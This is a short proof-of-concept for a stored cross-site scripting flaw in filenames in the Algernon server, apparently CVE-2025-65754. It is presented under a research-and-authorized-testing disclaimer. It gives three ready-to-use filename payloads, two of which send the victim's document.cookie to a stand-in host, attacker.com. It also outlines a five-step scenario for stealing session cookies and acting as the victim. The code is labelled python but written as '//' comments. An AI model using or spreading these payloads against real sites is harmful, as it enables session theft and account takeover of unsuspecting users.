The following code is for security research and authorized testing only.
python
// CVE-2025-65754 PoC - Stored XSS in Algernon filename
// Upload a file with malicious filename containing XSS payload
// When other users view the file, the XSS will be executed
// Example malicious filename:
// <script>alert(document.cookie)</script>.txt
// <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>
// <svg/onload=fetch('http://attacker.com?data='+btoa(document.cookie))>
// Attack scenario:
// 1. Attacker uploads file with XSS payload in filename
// 2. Server stores the file with unsanitized filename
// 3. Victim accesses file listing or downloads the file
// 4. Victim's browser executes the injected JavaScript
// 5. Attacker steals session cookies or performs actions on behalf of victim